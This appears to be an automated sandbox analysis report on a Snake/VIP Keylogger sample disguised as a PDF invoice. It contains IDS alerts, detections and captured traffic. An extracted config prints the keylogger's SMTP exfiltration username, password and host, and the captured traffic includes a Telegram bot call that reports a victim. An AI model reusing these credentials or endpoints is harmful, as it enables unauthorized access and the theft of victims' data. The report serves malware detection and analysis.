2024-10-17T09:44:51.672838+0200	2803305	3	Unknown Traffic	192.168.2.4	49777	188.114.96.3	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-17T09:44:36.922055+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49752	193.122.130.0	80	TCP
2024-10-17T09:44:36.922055+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49747	193.122.130.0	80	TCP
2024-10-17T09:44:36.922055+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49753	193.122.130.0	80	TCP
2024-10-17T09:44:36.922055+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49755	193.122.130.0	80	TCP
2024-10-17T09:44:36.922055+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49756	193.122.130.0	80	TCP
2024-10-17T09:44:36.922055+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49754	193.122.130.0	80	TCP
2024-10-17T09:44:36.922055+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49774	193.122.130.0	80	TCP
2024-10-17T09:44:36.922055+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49746	193.122.130.0	80	TCP
2024-10-17T09:44:36.922055+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49751	193.122.130.0	80	TCP
2024-10-17T09:44:36.922055+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49765	193.122.130.0	80	TCP
2024-10-17T09:44:36.922055+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49775	193.122.130.0	80	TCP
2024-10-17T09:44:36.922055+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49757	193.122.130.0	80	TCP
2024-10-17T09:44:36.922055+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49758	193.122.130.0	80	TCP
2024-10-17T09:44:42.156482+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49739	193.122.130.0	80	TCP
2024-10-17T09:44:43.468988+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49739	193.122.130.0	80	TCP
2024-10-17T09:44:43.687732+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49739	193.122.130.0	80	TCP
2024-10-17T09:44:45.160535+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49748	193.122.130.0	80	TCP
2024-10-17T09:44:46.062835+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49750	193.122.130.0	80	TCP
2024-10-17T09:44:47.156550+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49750	193.122.130.0	80	TCP
2024-10-17T09:44:48.606725+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49762	193.122.130.0	80	TCP
2024-10-17T09:44:50.953371+0200	2803274	2	Potentially Bad Traffic	192.168.2.4	49776	193.122.130.0	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: Proforma Invoice_21-1541 And Packing List.pdf.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe

Avira: detection malicious, Label: HEUR/AGEN.1309880

Found malware configuration

Source: 00000009.00000002.4178805615.0000000002871000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: Snake Keylogger {"Exfil Mode": "SMTP", "Username": "sesilebruce@elemacuae.com", "Password": "(lqKKXb5", "Host": "us2.smtp.mailhostbox.com", "Port": "587", "Version": "4.4"}
Source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3841a90.3.unpack	Malware Configuration Extractor: VIP Keylogger {"Exfil Mode": "SMTP", "Email ID": "sesilebruce@elemacuae.com", "Password": "(lqKKXb5", "Host": "us2.smtp.mailhostbox.com", "Port": "587"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe

ReversingLabs: Detection: 65%

Multi AV Scanner detection for submitted file

Source: Proforma Invoice_21-1541 And Packing List.pdf.exe

ReversingLabs: Detection: 65%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: Proforma Invoice_21-1541 And Packing List.pdf.exe

Joe Sandbox ML: detected

Location Tracking

Tries to detect the country of the analysis system (by using the IP)

Source: unknown

DNS query: name: reallyfreegeoip.org

Source: Proforma Invoice_21-1541 And Packing List.pdf.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49740 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49745 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49760 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49772 version: TLS 1.0

Source: unknown

HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.4:49759 version: TLS 1.2

Source: Proforma Invoice_21-1541 And Packing List.pdf.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: eIf.pdbSHA256 source: Proforma Invoice_21-1541 And Packing List.pdf.exe, vrhZELiHpiub.exe.0.dr
Source:	Binary string: System.Windows.Forms.pdb source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1769386708.0000000000B22000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Windows.Forms.pdbt source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1769386708.0000000000B22000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.pdb source: Proforma Invoice_21-1541 And Packing List.pdf.exe, 00000000.00000002.1769386708.0000000000B22000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: eIf.pdb source: Proforma Invoice_21-1541 And Packing List.pdf.exe, vrhZELiHpiub.exe.0.dr

Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 4x nop then lea esp, dword ptr [ebp-08h]	0_2_0B069080
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 4x nop then lea esp, dword ptr [ebp-08h]	0_2_0B069090
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 4x nop then jmp 0269FA11h	9_2_0269F76C
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 4x nop then jmp 06580D0Dh	9_2_06580B30
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 4x nop then jmp 06581697h	9_2_06580B30
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 4x nop then jmp 0658F661h	9_2_0658F3B8
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 4x nop then jmp 06582819h	9_2_06582568
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 4x nop then jmp 065831E0h	9_2_06582DC8
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 4x nop then jmp 0658E501h	9_2_0658E258
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 4x nop then jmp 0658E0A9h	9_2_0658DE00
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 4x nop then jmp 0658E959h	9_2_0658E6B0
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 4x nop then jmp 0658F209h	9_2_0658EF60
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 4x nop then jmp 0658EDB1h	9_2_0658EB08
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	9_2_06580040
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 4x nop then jmp 0658FAB9h	9_2_0658F810
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 4x nop then jmp 0658D3A1h	9_2_0658D0F8
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 4x nop then jmp 0658CF49h	9_2_0658CCA0
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 4x nop then jmp 0658D7F9h	9_2_0658D550
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 4x nop then jmp 065831E0h	9_2_0658310E
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 4x nop then jmp 065831E0h	9_2_06582DC2
Source: C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe	Code function: 4x nop then jmp 0658DC51h	9_2_0658D9A8
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	13_2_0111F360
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	13_2_0111F993
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 4x nop then mov dword ptr [ebp-14h], 00000000h	13_2_0111FB73
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 4x nop then jmp 0551DFE1h	13_2_0551DD38
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 4x nop then jmp 0551E891h	13_2_0551E5E8
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 4x nop then jmp 0551E439h	13_2_0551E190
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 4x nop then jmp 05512870h	13_2_05512458
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 4x nop then jmp 0551021Dh	13_2_05510040
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 4x nop then jmp 05510BA7h	13_2_05510040
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 4x nop then jmp 05512870h	13_2_0551244E
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 4x nop then jmp 0551D2D9h	13_2_0551D030
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 4x nop then jmp 0551DB89h	13_2_0551D8E0
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 4x nop then jmp 0551D731h	13_2_0551D488
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 4x nop then jmp 0551F9F1h	13_2_0551F748
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 4x nop then jmp 0551C5D1h	13_2_0551C328
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 4x nop then jmp 0551CE81h	13_2_0551CBD8
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 4x nop then jmp 05512870h	13_2_0551279E
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 4x nop then jmp 0551CA29h	13_2_0551C780
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 4x nop then jmp 0551ECE9h	13_2_0551EA40
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 4x nop then jmp 0551F599h	13_2_0551F2F0
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 4x nop then jmp 0551F141h	13_2_0551EE98
Source: C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe	Code function: 4x nop then jmp 05512131h	13_2_05511E80

Networking

Uses the Telegram API (likely for C&C communication)

Source: unknown

DNS query: name: api.telegram.org

Yara detected Generic Downloader

Source: Yara match	File source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3884ab0.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Proforma Invoice_21-1541 And Packing List.pdf.exe.3841a90.3.raw.unpack, type: UNPACKEDPE

Source: global traffic

TCP traffic: 192.168.2.4:49787 -> 208.91.199.223:587

Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.82 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.82 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.82 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.82 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:226533%0D%0ADate%20and%20Time:%2017/10/2024%20/%2007:24:17%0D%0ACountry%20Name:%20%0D%0A%5B%20226533%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.82 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.82 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.82 HTTP/1.1Host: reallyfreegeoip.org

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 193.122.130.0 193.122.130.0

Source: Joe Sandbox View	ASN Name: TELEGRAMRU TELEGRAMRU
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: PUBLIC-DOMAIN-REGISTRYUS PUBLIC-DOMAIN-REGISTRYUS

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49762 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49776 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49748 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49750 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49739 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49752 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49747 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49753 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49755 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49756 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49754 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49774 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49746 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49751 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49765 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49775 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49757 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.2.4:49758 -> 193.122.130.0:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49772 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49777 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49749 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49745 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49761 -> 188.114.96.3:443

Source: global traffic

TCP traffic: 192.168.2.4:49787 -> 208.91.199.223:587

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49740 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49745 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49760 version: TLS 1.0
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.4:49772 version: TLS 1.0

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.82 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.82 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.82 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.82 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:226533%0D%0ADate%20and%20Time:%2017/10/2024%20/%2007:24:17%0D%0ACountry%20Name:%20%0D%0A%5B%20226533%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D HTTP/1.1Host: api.telegram.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.82 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.82 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET /xml/173.254.250.82 HTTP/1.1Host: reallyfreegeoip.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
